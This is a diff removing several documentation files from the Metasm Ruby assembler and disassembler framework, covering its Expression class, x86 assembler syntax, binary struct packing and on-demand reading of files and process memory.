done using the <core/SerialStruct.txt> facility.
|
|
||||||
|
|
||||||
The subclasses are expected to implement various functions, depending on the
|
|
||||||
usage (refer to the ELF and COFF implementations for more details):
|
|
||||||
|
|
||||||
File decoding/disassembly
|
|
||||||
-------------------------
|
|
||||||
|
|
||||||
* `#decode_header`: parse the raw data in `#encoded` only to parse the file header
|
|
||||||
* `#decode`: parse all the raw data in `#encoded`
|
|
||||||
* `#cpu_from_headers`: return a <core/CPU.txt> instance according to the exe header information
|
|
||||||
* `#get_default_entrypoints`: the list of entrypoints (exported functions, etc)
|
|
||||||
* `#dump_section_header`: return a string that may be assembled to recreate the specified section
|
|
||||||
* `#section_info`: return a list of generic section informations for the disassembler
|
|
||||||
|
|
||||||
|
|
||||||
File encoding/source parsing
|
|
||||||
----------------------------
|
|
||||||
|
|
||||||
* `#tune_prepro`: define exe-specific macros for the preprocessor (optional)
|
|
||||||
* `#parse_init`: initialize the `@cursource` array to receive the parsed asm source
|
|
||||||
* `#parse_parser_instruction`: parse exe-specific instructions, eg `.text`, `.import`...
|
|
||||||
* `#assemble`: assemble the content of the @cursource into binary section contents
|
|
||||||
* `#encode`: assemble the various sections and a binary header into `@encoded`
|
|
||||||
|
|
|
@ -1,220 +0,0 @@
|
||||||
Expression
|
|
||||||
==========
|
|
||||||
|
|
||||||
Metasm uses this class to represent arbitrary symbolic arithmetic expressions, e.g.
|
|
||||||
* `42`
|
|
||||||
* `eax + 12`
|
|
||||||
* `loc_4228h + 4*ebx - 12`
|
|
||||||
|
|
||||||
These expressions can include `Integers`, `Symbols`, and `Strings`.
|
|
||||||
|
|
||||||
The symbols and strings represent arbitrary variables, with the convention that
|
|
||||||
strings represent fixed quantities (eg addresses, labels), whereas symbols
|
|
||||||
represent more variable stuff (eg register values).
|
|
||||||
|
|
||||||
There is also a special symbol that may be used, `:unknown`, to represent a
|
|
||||||
value that is known to be unknown. See the `reduce` section.
|
|
||||||
|
|
||||||
See also <core/Indirection.txt>.
|
|
||||||
|
|
||||||
The Expression class holds all methods relative to Integer binary manipulation,
|
|
||||||
that is `encoding` and `decoding` from/to a binary blob (see also
|
|
||||||
<core/EncodedData.txt>)
|
|
||||||
|
|
||||||
|
|
||||||
Members
|
|
||||||
-------
|
|
||||||
|
|
||||||
Expressions hold exactly 3 members:
|
|
||||||
* `lexpr`, the left-hand side of the expression
|
|
||||||
* `rexpr`, the right-hand side
|
|
||||||
* `op`, the operator
|
|
||||||
|
|
||||||
`lexpr` and `rexpr` can be any value, most often String, Symbol, Integer or
|
|
||||||
Expression. For unary operators, `lexpr` is `nil`.
|
|
||||||
|
|
||||||
`op` is a Symbol representing the operation.
|
|
||||||
It should be from the list:
|
|
||||||
* arithmetic: `+ - / * >> << & | ^`
|
|
||||||
* boolean: `|| && == != > >= < <=`
|
|
||||||
* unary: `+ - ~ !`
|
|
||||||
|
|
||||||
|
|
||||||
Instantiation
|
|
||||||
-------------
|
|
||||||
|
|
||||||
In ruby code, use the class method `[]`. It takes 1 to 3 arguments, `lexpr`,
|
|
||||||
`op`, and `rexpr`. `lexpr` defaults to `nil`, and `op` defaults to `:+` (except
|
|
||||||
for negative numeric values, which is stored with `op` == `:-` and `rexpr` ==
|
|
||||||
abs).
|
|
||||||
|
|
||||||
If `lexpr` or `rexpr` are an `Array`, the `[]` constructor is called
|
|
||||||
recursively, to ease the definition of nested Expressions.
|
|
||||||
|
|
||||||
Exemples:
|
|
||||||
|
|
||||||
Expression[42]
|
|
||||||
Expression[:eax, :+, 12]
|
|
||||||
Expression[:-, 'my_var']
|
|
||||||
Expression[[:eax, :-, 4], :*, [:ebx, :+, 0x12]]
|
|
||||||
|
|
||||||
The Expression class also includes a parser, to allow creating an expression
|
|
||||||
from a string. `parse_string!` will create an Expression and update its
|
|
||||||
argument to point after the last part read successfully into the expr.
|
|
||||||
The parser handles standard C operator precedence.
|
|
||||||
|
|
||||||
str = "1 + var"
|
|
||||||
Expression.parse_string!(str) # => Expression[1, :+, "var"]
|
|
||||||
str = "42 bla"
|
|
||||||
Expression.parse_string!(str) # => Expression[42]
|
|
||||||
str # => "bla"
|
|
||||||
|
|
||||||
Use `parse_string` without the ! to parse the string without updating it.
|
|
||||||
|
|
||||||
External variables
|
|
||||||
------------------
|
|
||||||
|
|
||||||
The `externals` method will return all non-integer members of the Expression.
|
|
||||||
|
|
||||||
Expression[[:eax, :+, 42], :-, "bla"].externals # => [:eax, "bla"]
|
|
||||||
|
|
||||||
|
|
||||||
Pattern matching
|
|
||||||
----------------
|
|
||||||
|
|
||||||
The `match` method allows to check an Expression against a pattern without
|
|
||||||
having to check individual members. The pattern should be an Expression,
|
|
||||||
whose variable members should be Strings or Symbols, which are also passed as
|
|
||||||
arguments to the match function. On successful match, the correspondance
|
|
||||||
between variable patterns and their actual value matched is returned as a Hash.
|
|
||||||
|
|
||||||
Expression[1, :+, 2].match(Expression['var', :+, 2], 'var')
|
|
||||||
# => { 'var' => 1 }
|
|
||||||
Expression[1, :+, 2].match(Expression['var', :+, 'var'], 'var')
|
|
||||||
# => nil
|
|
||||||
Expression[1, :+, 1].match(Expression['var', :op, 'var'], 'var', :op)
|
|
||||||
# => { 'var' => 1, :op => :+ }
|
|
||||||
|
|
||||||
|
|
||||||
Reduction
|
|
||||||
---------
|
|
||||||
|
|
||||||
Metasm Expressions include a basic symbolic computation engine, that allows
|
|
||||||
some simple transformations of the Expression. The reduction will also
|
|
||||||
compute numerical values whenever possible. If the final result is fully
|
|
||||||
numeric, an Integer is returned, otherwise a new Expression is returned.
|
|
||||||
|
|
||||||
In this context, the special value `:unknown` has a particular meaning.
|
|
||||||
|
|
||||||
Expression[1, :+, 2].reduce
|
|
||||||
# => 3
|
|
||||||
Expression[:eax, :+, [:ebx, :-, :eax]].reduce
|
|
||||||
# => Expression[:ebx]
|
|
||||||
Expression[1, :+, [:eax, :+, 2]].reduce
|
|
||||||
# => Expression[:eax, :+, 3]
|
|
||||||
Expression[:unknown, :+, :eax].reduce
|
|
||||||
# => Expression[:unknown]
|
|
||||||
|
|
||||||
The symbolic engine operates mostly on addition/substractions, and
|
|
||||||
no-operations (eg shift by 0). It also handles some boolean composition.
|
|
||||||
|
|
||||||
The detail can be found in the #replace_rec method body, in `metasm/main.rb`.
|
|
||||||
|
|
||||||
The reduce method can also take a block argument, which will be called at
|
|
||||||
every step in the recursive reduction, for custom operations. If the block
|
|
||||||
returns nil, the result is unchanged, otherwise the new value is used as
|
|
||||||
replacement. For exemple, if you operate on 32-bit values and want to get rid
|
|
||||||
of `bla & 0xffffffff`, use
|
|
||||||
|
|
||||||
some_expr.reduce { |e|
|
|
||||||
if e.kind_of?(Expression) and e.op == :& and e.rexpr == 0xffff_ffff
|
|
||||||
e.lexpr
|
|
||||||
end
|
|
||||||
}
|
|
||||||
|
|
||||||
|
|
||||||
Binding
|
|
||||||
-------
|
|
||||||
|
|
||||||
An expression involving variable externals can be bound using a Hash. This will
|
|
||||||
replace any occurence of a key of the Hash by its value in the expression
|
|
||||||
members. The `bind` method will return a new Expression with the substitutions,
|
|
||||||
and the `bind!` method will update the Expression in-place.
|
|
||||||
|
|
||||||
Expression['val', :+, 'stuff'].bind('val' => 4, 'stuff' => 8).reduce
|
|
||||||
# => 12
|
|
||||||
Expression[:eax, :+, :ebx].bind(:ebx => 42)
|
|
||||||
# Expression[:eax, :+, 42]
|
|
||||||
Expression[:eax, :+, :ebx].bind(:ebx => :ecx)
|
|
||||||
# Expression[:eax, :+, :ecx]
|
|
||||||
|
|
||||||
You can use Expressions as keys, but they will only be used on perfect matches.
|
|
||||||
|
|
||||||
|
|
||||||
Binary packing
|
|
||||||
--------------
|
|
||||||
|
|
||||||
Encoding
|
|
||||||
########
|
|
||||||
|
|
||||||
The `encode` method will generate an EncodedData holding the expression, either
|
|
||||||
as binary if it can reduce to an integral value, or as a relocation.
|
|
||||||
The arguments are the relocation type and the endianness, plus an optional
|
|
||||||
backtrace (to notify the user where an overflowing relocation comes from).
|
|
||||||
|
|
||||||
The `encode_imm` class method will generate a raw String for a given
|
|
||||||
integral value, a type and an endianness.
|
|
||||||
The type can be given as a byte size.
|
|
||||||
|
|
||||||
Expression.encode_imm(42, :u8, :little) # => "*"
|
|
||||||
Expression.encode_imm(42, 1, :big) # => "*"
|
|
||||||
Expression.encode_imm(256, :u8, :little) # raise EncodeError
|
|
||||||
|
|
||||||
On overflows (value cannot be encoded in the bit field) an EncodeError
|
|
||||||
exception is raised.
|
|
||||||
|
|
||||||
Decoding
|
|
||||||
########
|
|
||||||
|
|
||||||
The `decode_imm` class method can be used to read a binary value into an
|
|
||||||
Integer, with an optional offset into the binary string.
|
|
||||||
|
|
||||||
Expression.decode_imm("*", :u8, :little) # => 42
|
|
||||||
Expression.decode_imm("bla\xfe\xff", :i16, :little, 3) # => -2
|
|
||||||
|
|
||||||
|
|
||||||
Arithmetic coercion
|
|
||||||
-------------------
|
|
||||||
|
|
||||||
Expression implement the `:+` and `:-` ruby methods, so that `expr + 4`
|
|
||||||
works as expected. The result is reduced.
|
|
||||||
|
|
||||||
|
|
||||||
Integer methods
|
|
||||||
---------------
|
|
||||||
|
|
||||||
The Expression class offers a few methods to work with integers.
|
|
||||||
|
|
||||||
make_signed
|
|
||||||
###########
|
|
||||||
|
|
||||||
`make_signed` will convert a raw unsigned to its equivalent signed value,
|
|
||||||
given a bit size.
|
|
||||||
|
|
||||||
Expression.make_signed(1, 16) # => 1
|
|
||||||
Expression.make_signed(0xffff, 16) # => -1
|
|
||||||
|
|
||||||
|
|
||||||
in_range?
|
|
||||||
#########
|
|
||||||
|
|
||||||
`in_range?` can check if a given numeric value would fit in a particular
|
|
||||||
<core/Relocation.txt> field. The method can return true or false if it
|
|
||||||
fits or not, or `nil` if the result is unknown (eg the expr has no numeric
|
|
||||||
value).
|
|
||||||
|
|
||||||
Expression.in_range?(42, :i8) # => true
|
|
||||||
Expression.in_range?(128, :i8) # => false
|
|
||||||
Expression.in_range?(-128, :i8) # => true
|
|
||||||
Expression.in_range?(Expression['bla'], :u32) # => nil
|
|
||||||
|
|
|
@ -1,27 +0,0 @@
|
||||||
GNUExports
|
|
||||||
==========
|
|
||||||
|
|
||||||
This class is defined in `metasm/os/gnu_exports.rb`
|
|
||||||
|
|
||||||
It defines an `EXPORT` constant, a Hash, whose keys
|
|
||||||
are the standard linux API symbol names, and values
|
|
||||||
are the library name where you can find this symbol.
|
|
||||||
|
|
||||||
The equivallent for windows is <core/WindowsExports.txt>
|
|
||||||
|
|
||||||
Usage
|
|
||||||
-----
|
|
||||||
|
|
||||||
The main usage of this class is the automatic generation
|
|
||||||
of the <core/ELF.txt> dynamic tag `DT_NEEDED` from the
|
|
||||||
external symbols referenced by a binary during compilation.
|
|
||||||
|
|
||||||
This is done in the `automagic_symbols` method.
|
|
||||||
|
|
||||||
Symbols
|
|
||||||
-------
|
|
||||||
|
|
||||||
The current version holds the symbols of the debian
|
|
||||||
glibc, from `libc.so.6` and `libdl.so.2`.
|
|
||||||
|
|
||||||
Ruby symbols are also defined, from `libruby1.8.so.1.8`.
|
|
|
@ -1,234 +0,0 @@
|
||||||
Ia32
|
|
||||||
====
|
|
||||||
|
|
||||||
The Ia32 architecture, aka *Intel_x86*, is the most advanced among the
|
|
||||||
architectures implemented in the framework. It is a subclass of the
|
|
||||||
generic <core/CPU.txt>.
|
|
||||||
|
|
||||||
It can handle binary code for the 16 and 32bits modes of the processor.
|
|
||||||
|
|
||||||
It is a superclass for the <core/X86_64.txt> object, a distinct processor
|
|
||||||
that handles 64-bit *long_mode* (aka *x64*, *amd64*, *em64t*)
|
|
||||||
|
|
||||||
The CPU `shortname` is `ia32` (`ia32_16` in 16-bit mode, and a `_be` suffix
|
|
||||||
if bigendian)
|
|
||||||
|
|
||||||
Opcodes
|
|
||||||
-------
|
|
||||||
|
|
||||||
The opcodes list can be customized to match that available on a specific
|
|
||||||
version of the processor. The possibilities are:
|
|
||||||
|
|
||||||
* 386_common
|
|
||||||
* 386
|
|
||||||
* 387
|
|
||||||
* 486
|
|
||||||
* pentium
|
|
||||||
* p6
|
|
||||||
* 3dnow
|
|
||||||
* sse
|
|
||||||
* sse2
|
|
||||||
* sse3
|
|
||||||
* vmx
|
|
||||||
* sse42
|
|
||||||
|
|
||||||
Most opcodes are available in the framework, with the notable exception of:
|
|
||||||
|
|
||||||
* most sse2 simd instructions
|
|
||||||
* the AVX instructions
|
|
||||||
* amd-specific instructions
|
|
||||||
|
|
||||||
The `386_common` family is the subset of 386 instruction that are most
|
|
||||||
commonly found in standard usermode programs (no `in`/`out`/bcd
|
|
||||||
arithmetic/far call/etc).
|
|
||||||
This can be useful when manipulating stuff that in not known to be i386
|
|
||||||
binary code.
|
|
||||||
|
|
||||||
|
|
||||||
Initialization
|
|
||||||
--------------
|
|
||||||
|
|
||||||
An Ia32 <core/CPU.txt> object can be created using the following code:
|
|
||||||
|
|
||||||
Metasm::Ia32.new
|
|
||||||
|
|
||||||
The `X86` alias may be used in place of `Ia32`.
|
|
||||||
|
|
||||||
The constructor accepts optional arguments to specify the CPU size, the
|
|
||||||
opcode family, and the endianness of the processor. The arguments can
|
|
||||||
be given in any order. For exemple,
|
|
||||||
|
|
||||||
Metasm::Ia32.new(16, 'pentium', :big)
|
|
||||||
|
|
||||||
will create a 16-bit mode cpu, with opcodes up to the 'pentium' CPU family,
|
|
||||||
in big-endian mode.
|
|
||||||
|
|
||||||
The Ia32 initializer has the convenience feature that it will create an
|
|
||||||
X86_64 instance when given the 64 bit size (e.g. `Ia32.new(64)` returns an
|
|
||||||
X86_64 instance)
|
|
||||||
|
|
||||||
|
|
||||||
Assembler
|
|
||||||
---------
|
|
||||||
|
|
||||||
The parser handles only Intel-style asm syntax, *e.g.*
|
|
||||||
|
|
||||||
some_label:
|
|
||||||
mov eax, 10h
|
|
||||||
mov ecx, fs:[eax+16]
|
|
||||||
push dword ptr fs:[1Ch]
|
|
||||||
call ecx
|
|
||||||
test al, al
|
|
||||||
jnz some_label
|
|
||||||
ret
|
|
||||||
fmulp ST(4)
|
|
||||||
|
|
||||||
|
|
||||||
Instruction arguments
|
|
||||||
#####################
|
|
||||||
|
|
||||||
The parser recognizes standard registers, such as
|
|
||||||
|
|
||||||
* `eax`
|
|
||||||
* `ah`
|
|
||||||
* `mm4` (mmx 64bit register)
|
|
||||||
* `xmm2` (xmm 128bit register)
|
|
||||||
* `ST` (current top of the FPU stack)
|
|
||||||
* `ST(3)` (FPU reg nr.3)
|
|
||||||
* `cs` (segment register)
|
|
||||||
* `dr3` (debug register)
|
|
||||||
* `cr2` (control register)
|
|
||||||
|
|
||||||
It also supports inexistant registers, such as
|
|
||||||
|
|
||||||
* `cr7`
|
|
||||||
* `dr4`
|
|
||||||
* `segr6` (segment register nr.6)
|
|
||||||
|
|
||||||
The indirections are called `ModRM`. They take the form:
|
|
||||||
|
|
||||||
* `[eax]` (memory pointed by `eax`)
|
|
||||||
* `byte ptr [eax]` (1-byte memory pointed by `eax`)
|
|
||||||
* `byte [eax]` (same as previous)
|
|
||||||
* `fs:[eax]` (offset `eax` from the base of the `fs` segment)
|
|
||||||
* `[fs:eax]` (same as previous)
|
|
||||||
|
|
||||||
The pointer itself can be:
|
|
||||||
|
|
||||||
* `[eax]` (any register)
|
|
||||||
* `[eax+12]` (base + numeric offset)
|
|
||||||
* `[eax+ebx]` (base + register index)
|
|
||||||
* `[eax + 4*ebx]` (base + 1,2,4 or 8 * index)
|
|
||||||
* `[eax + 2*ebx + 42]` (both)
|
|
||||||
|
|
||||||
Note that the form base + s*index cannot use `esp` as index with s != 1.
|
|
||||||
|
|
||||||
For indirection sizes, the size is taken from the size of other arguments
|
|
||||||
if it is not specified (eg `mov eax, [42]` will be 4 bytes, and `mov al, [42]`
|
|
||||||
will be 1). The explicit size specifier can be:
|
|
||||||
|
|
||||||
* `byte` (8bits)
|
|
||||||
* `word` (16)
|
|
||||||
* `dword` (32)
|
|
||||||
* `qword` (64)
|
|
||||||
* `oword` (128)
|
|
||||||
* `_12bits` (12, arbitrary numbers can be used)
|
|
||||||
|
|
||||||
|
|
||||||
Parser commands
|
|
||||||
###############
|
|
||||||
|
|
||||||
The following commands are recognized in an asm source:
|
|
||||||
|
|
||||||
* `.mode`
|
|
||||||
* `.bits`
|
|
||||||
|
|
||||||
They are synonymous, and serve to change the mode of the processor to either
|
|
||||||
16 or 32bits.
|
|
||||||
|
|
||||||
They should be the first instruction in the source, changing the mode during
|
|
||||||
parsing is not supported. This would change only the mode for the next
|
|
||||||
instructions to be parsed, and for all instructions (incl. those already parsed
|
|
||||||
at this point) when encoding, which is likely **not** what you want. See the
|
|
||||||
`codeXX` prefixes.
|
|
||||||
|
|
||||||
Note that changing the CPU size once it was created may have bad side-effects.
|
|
||||||
For exemple, some preprocessor macros may already have been generated according
|
|
||||||
to the original size of the CPU and will be incorrect from this point on.
|
|
||||||
|
|
||||||
|
|
||||||
Prefixes
|
|
||||||
########
|
|
||||||
|
|
||||||
The following prefixes are handled:
|
|
||||||
|
|
||||||
* `lock`
|
|
||||||
* `rep`, `repz`, `repnz`, `repe`, `repne`
|
|
||||||
* `code16`, `code32`
|
|
||||||
|
|
||||||
The `repXX` prefixes are for string operations (`movsd` etc), but will be set
|
|
||||||
for any opcode. Only the last of the family will be encoded.
|
|
||||||
|
|
||||||
The `code16` will generate instructions to be run on a CPU in 16bit mode,
|
|
||||||
independantly of the global CPU mode. For exemple,
|
|
||||||
|
|
||||||
code16 mov ax, 42h
|
|
||||||
|
|
||||||
will generate `"\xb8\x42\x00"` (no opsz override prefix), and will decode or
|
|
||||||
run incorrectly on an 32bit CPU.
|
|
||||||
|
|
||||||
The encoder also has code to handle `jmp hints` prefixes, but the parser has
|
|
||||||
no equivalent prefix support.
|
|
||||||
|
|
||||||
There is currently no way to specify a segment-override prefix for instruction
|
|
||||||
not using a ModRM argument. Use a `db 26h` style line.
|
|
||||||
|
|
||||||
|
|
||||||
Suffixes
|
|
||||||
########
|
|
||||||
|
|
||||||
The parser implements a specific feature to allow the differenciation of
|
|
||||||
otherwise ambiguous opcodes, in the form of instruction suffixes.
|
|
||||||
|
|
||||||
By default, the assembler will generate the shortest encoding for a given
|
|
||||||
instruction. To force encoding of another form you can add a specific
|
|
||||||
suffix to the instruction. In general, metasm will use e.g. register sizes
|
|
||||||
when possible to avoid this kind of situations, but with immediate-only
|
|
||||||
displacement this is necessary.
|
|
||||||
|
|
||||||
or.a16 [1234h], eax ; use a 16-bit address
|
|
||||||
or [bx], eax ; use a 16-bit address (implicit from the bx register)
|
|
||||||
or eax, 1 ; "\x83\xc8\x01"
|
|
||||||
or.i8 eax, 1 ; "\x83\xc8\x01" (same, shortest encoding)
|
|
||||||
or.i eax, 1 ; "\x81\xc8\x01\x00\x00\x00" (constant stored in a 32bit field)
|
|
||||||
movsd.a16 ; use a 16-byte address-size override prefix (copy dword [si] to [di])
|
|
||||||
push.i16 42h ; push a 16-bit integer
|
|
||||||
|
|
||||||
The suffixes are available as follow:
|
|
||||||
|
|
||||||
* if the opcode takes an integer argument that can be encoded as either a 8bits or <cpu size>bits, the `.i` and `.i8` variants are created
|
|
||||||
* if the opcode takes a memory indirection as argument, or is a string operation (`movsd`, `scasb`, etc) the `.a16` and `.a32` variants are created
|
|
||||||
* if the opcode takes a single integer argument, a far pointer, or is a return instruction, the `.i16` and `.i32` variants are created
|
|
||||||
|
|
||||||
|
|
||||||
C parser
|
|
||||||
--------
|
|
||||||
|
|
||||||
The Ia32 C parser will initialize the type sizes with the `ilp32` memory
|
|
||||||
model, which is:
|
|
||||||
|
|
||||||
* short = 16bits
|
|
||||||
* int = 32bits
|
|
||||||
* long = 32bits
|
|
||||||
* long long = 64bits
|
|
||||||
* pointer = 32bits
|
|
||||||
|
|
||||||
In 16bit mode, the model is `ilp16`, which may not be correct (the 16bits
|
|
||||||
compiler has not been tested anyway).
|
|
||||||
|
|
||||||
The following macros are defined (in the asm preprocessor too)
|
|
||||||
|
|
||||||
* `_M_IX86` = 500
|
|
||||||
* `_X86_`
|
|
||||||
* `__i386__`
|
|
||||||
|
|
|
@ -1,108 +0,0 @@
|
||||||
SerialStruct
|
|
||||||
============
|
|
||||||
|
|
||||||
This is a helper class to handle binary packed data, especially to
|
|
||||||
represent <core/ExeFormat.txt> structures.
|
|
||||||
|
|
||||||
The implementation is in `metasm/exe_format/serialstruct.rb`.
|
|
||||||
|
|
||||||
Basics
|
|
||||||
------
|
|
||||||
|
|
||||||
The class defines some class methods, such as:
|
|
||||||
|
|
||||||
* `dword`
|
|
||||||
* `byte`
|
|
||||||
* `strz`
|
|
||||||
|
|
||||||
These methods can be used directly in subclass definitions, e.g.
|
|
||||||
|
|
||||||
class MyHeader < SerialStruct
|
|
||||||
dword :signature
|
|
||||||
dword :length
|
|
||||||
end
|
|
||||||
|
|
||||||
This will associate the sequence of fields to this structure, which
|
|
||||||
is used in the `#encode` and `#decode` methods.
|
|
||||||
These methods rely on an <core/ExeFormat.txt> instance to define
|
|
||||||
the corresponding `decode_dword` and `encode_dword` methods.
|
|
||||||
|
|
||||||
You can then simply call:
|
|
||||||
|
|
||||||
hdr = MyHeader.decode(myexefmt)
|
|
||||||
|
|
||||||
which will call `myexefmt.decode_word` twice to populate the
|
|
||||||
`signature` and `length` fields of the MyHeader.instance.
|
|
||||||
|
|
||||||
You can also redefine the `#decode` method to handle special cases.
|
|
||||||
|
|
||||||
|
|
||||||
The fields defined this way can be assigned a default value that
|
|
||||||
will be used when encoding the structure. The syntax is:
|
|
||||||
|
|
||||||
dword :fieldname, defaultvalue
|
|
||||||
|
|
||||||
If you have a long sequence of identically-typed fields, you can use
|
|
||||||
the plural form:
|
|
||||||
|
|
||||||
dwords :f1, :f2, :f3, :f4
|
|
||||||
|
|
||||||
To define your own field types, you should create a new subclass and call the
|
|
||||||
`new_field` class method. For integral fields, use `new_int_field(fldname)`
|
|
||||||
that will automatically define the decode/encode routines, and create the
|
|
||||||
plural form.
|
|
||||||
|
|
||||||
class MyStruct < SerialStruct
|
|
||||||
new_int_field :zword
|
|
||||||
zwords :offset, :length
|
|
||||||
end
|
|
||||||
|
|
||||||
|
|
||||||
Symbolic constants
|
|
||||||
------------------
|
|
||||||
|
|
||||||
The class has built-in support for symbolic constants and bit fields.
|
|
||||||
|
|
||||||
For exemple, suppose you have a numeric `:type` field, which corresponds
|
|
||||||
to a set of numeric constants `TYPE_FOO TYPE_BAR TYPE_LOL`. You can use:
|
|
||||||
|
|
||||||
TYPES = { 2 => 'FOO', 3 => 'BAR', 4 => 'LOL' }
|
|
||||||
|
|
||||||
dword :type
|
|
||||||
fld_enum :type, TYPES
|
|
||||||
|
|
||||||
With this, the standard '#decode' method will first decode the numeric value
|
|
||||||
of the field, and then lookup the value in the enum hash to find the
|
|
||||||
corresponding symbol, and use it as the field value.
|
|
||||||
If there is no mapping, the numeric value is retained. The reverse operation
|
|
||||||
is done with `#encode`.
|
|
||||||
|
|
||||||
For the bitfields, the method is `fld_bits`, and the software will try to
|
|
||||||
match *OR-ed* values from the bitfield to generate an array of symbols.
|
|
||||||
|
|
||||||
BITS = { 1 => 'B1', 2 => 'B2', 4 => 'B4' }
|
|
||||||
|
|
||||||
dword :foo
|
|
||||||
fld_bits :foo, BITS
|
|
||||||
|
|
||||||
which will give, for the numeric value `0x15`, `["B1", "B4", 0x10]`
|
|
||||||
|
|
||||||
The hashes used for fld_bits or fld_enum can be dynamically determined, by
|
|
||||||
using the block version of those methods. The block will receive the ExeFormat
|
|
||||||
instance and the SerialStruct instance, and should return the Hash.
|
|
||||||
This can be useful when a bitfield signification varies given some generic
|
|
||||||
property of the exe, eg the target architecture.
|
|
||||||
|
|
||||||
|
|
||||||
Hooks
|
|
||||||
-----
|
|
||||||
|
|
||||||
It is also possible to define a hook that will be called at some point during
|
|
||||||
the object binary decoding. It will receive the exe and struct instances.
|
|
||||||
|
|
||||||
class Header < SerialStruct
|
|
||||||
dword :machine
|
|
||||||
decode_hook { |exe, hdr| raise "unknown machine" if hdr.machine > 4 }
|
|
||||||
dword :bodylength
|
|
||||||
end
|
|
||||||
|
|
|
@ -1,145 +0,0 @@
|
||||||
VirtualString
|
|
||||||
=============
|
|
||||||
|
|
||||||
This class is an abstract representation of an arbitrary sized byte array
|
|
||||||
with methods to load parts of it on demand. It is useful to represent
|
|
||||||
a program virtual memory and allow metasm to work on it while only reading
|
|
||||||
bytes from it when actually needed.
|
|
||||||
|
|
||||||
The base class is defined in `metasm/os/main.rb`.
|
|
||||||
|
|
||||||
|
|
||||||
Basics
|
|
||||||
------
|
|
||||||
|
|
||||||
The API of the object is designed to be compatible with a standard String (ASCII-8BIT).
|
|
||||||
The main restriction is that the size of this string cannot be changed:
|
|
||||||
concatenation / shortening is not supported.
|
|
||||||
|
|
||||||
The main operation on the object should be `[]` and `[]=`, that is,
|
|
||||||
reading some subpart of the string, or overwriting some substring.
|
|
||||||
The arguments are the same as for a String, with the exception that
|
|
||||||
rewrite raises an IndexError if the rewriting would change the string
|
|
||||||
length.
|
|
||||||
|
|
||||||
A few methods are written specifically with the VirtualString semantics,
|
|
||||||
others are redirected to a temporary real String generated with `realstring`.
|
|
||||||
|
|
||||||
The VirtualString works with a `page` concept, that represents some arbitrary
|
|
||||||
chunks of data that can be actually read from the underlying target, e.g. a
|
|
||||||
memory page (4096 bytes) when mapping a process virtual address space.
|
|
||||||
Instances get to define a `pagelength` sound for the specific implementation.
|
|
||||||
|
|
||||||
Whenever a substring is requested from a VirtualString, if the substring
|
|
||||||
length is less than the page size, an actual read is made and a String is
|
|
||||||
returned.
|
|
||||||
|
|
||||||
If the length is greater however, a new VirtualString is created to map this
|
|
||||||
new *view* without actually reading.
|
|
||||||
|
|
||||||
To force the conversion to a String, use the `realstring` or `to_str` method.
|
|
||||||
The latter is prefered, as it works on both Strings and VirtualStrings.
|
|
||||||
|
|
||||||
To force the creation of a new VirtualString, use the `dup(start, len)` method.
|
|
||||||
|
|
||||||
When reading actual bytes, a local page cache is used. By default is has only 4
|
|
||||||
pages, and can be invalidated using `invalidate`.
|
|
||||||
The cache is automatically invalidated when part of the string is written to.
|
|
||||||
|
|
||||||
The VirtualString may index *invalid* pages (e.g. unmapped memory range in a
|
|
||||||
process address space) ; you can check that with `page_invalid?` with an index
|
|
||||||
as parameter.
|
|
||||||
|
|
||||||
|
|
||||||
Creation
|
|
||||||
--------
|
|
||||||
|
|
||||||
To create your own flavor of VirtualString, you must:
|
|
||||||
|
|
||||||
* define your subclass that inherits from `VirtualString`
|
|
||||||
* define your initializer, that takes whatever arguments make sense (e.g. a
|
|
||||||
*pid*, *handle*, Socket..)
|
|
||||||
* your initializer must call super(a, l) with arguments:
|
|
||||||
** current view absolute address (should default to 0), will be saved in
|
|
||||||
`@addr_start`
|
|
||||||
** current view size (should default to something sensible, like 1<<32), saved
|
|
||||||
in `@length`
|
|
||||||
* your initializer can override the default page size by defining the
|
|
||||||
`@pagelength` variable.
|
|
||||||
* implement a `dup` method that takes optional arguments:
|
|
||||||
** new base address (default=`@addr_start`)
|
|
||||||
** new length (default=`@length`)
|
|
||||||
** returns a new instance of your class mapping over the specified window
|
|
||||||
* implement a `get_page` method, whose arguments are:
|
|
||||||
** absolute page address (will always be page-aligned)
|
|
||||||
** optional length, default=`@pagelength`
|
|
||||||
** returns a String of `length` bytes, or `nil` (e.g. unmapped area)
|
|
||||||
* optionally implement a `rewrite_at` method, to make your string writeable.
|
|
||||||
Arguments are the absolute write address, and the data to write there (a String).
|
|
||||||
|
|
||||||
Feel free to override any other method with an optimized version.
|
|
||||||
For exemple, the default `realstring` will repeatadly call `get_page` with
|
|
||||||
each page in the range 0..`length`, you may have a more efficient alternative.
|
|
||||||
|
|
||||||
You can alter the cache size by rewriting the `@pagecache_len` variable
|
|
||||||
**after** calling `super()` in `initialize`. The default value is 4, which you
|
|
||||||
may want to increase.
|
|
||||||
|
|
||||||
See the `WindowsRemoteString` source for a simple exemple (ignore the `open_pid`
|
|
||||||
method).
|
|
||||||
|
|
||||||
Standard subclasses
|
|
||||||
-------------------
|
|
||||||
|
|
||||||
VirtualFile
|
|
||||||
###########
|
|
||||||
|
|
||||||
Defined in `metasm/os/main.rb`.
|
|
||||||
|
|
||||||
This class maps over an open file descriptor, and allows reading data on-demand.
|
|
||||||
It implements the `read` class method, similar to `File.read`, with the
|
|
||||||
file opened in binary mode. For a small file (<=4096), the content is
|
|
||||||
directly returned, otherwise a VirtualString is created.
|
|
||||||
|
|
||||||
This class is used by the default <core/ExeFormat.txt> `decode_file[_header]`
|
|
||||||
methods.
|
|
||||||
|
|
||||||
|
|
||||||
LinuxRemoteString
|
|
||||||
#################
|
|
||||||
|
|
||||||
Defined in `metasm/os/linux.rb`.
|
|
||||||
|
|
||||||
This class maps over the virtual memory of a Linux process.
|
|
||||||
Accesses are done through the `/proc/<pid>/mem` for reading.
|
|
||||||
The linux kernel requires that the target process be ptraced before we can
|
|
||||||
read this file, so the object will use the debugger instance passed to the
|
|
||||||
constructor, or create a new <core/PTrace.txt> object to stop the process
|
|
||||||
and read its memory during `get_page`.
|
|
||||||
|
|
||||||
If a <core/Debugger.txt> object was given, `get_page` will return `nil` if the
|
|
||||||
debugger indicates that the target is not stopped.
|
|
||||||
|
|
||||||
Writing is done through `PTrace#writemem` using `PTRACE_POKEDATA`.
|
|
||||||
|
|
||||||
|
|
||||||
WindowsRemoteString
|
|
||||||
###################
|
|
||||||
|
|
||||||
Defined in `metasm/os/windows.rb`.
|
|
||||||
|
|
||||||
This class maps over the virtual memory of a Windows process.
|
|
||||||
|
|
||||||
The memory accesses are done using the `Read/WriteProcessMemory` API.
|
|
||||||
|
|
||||||
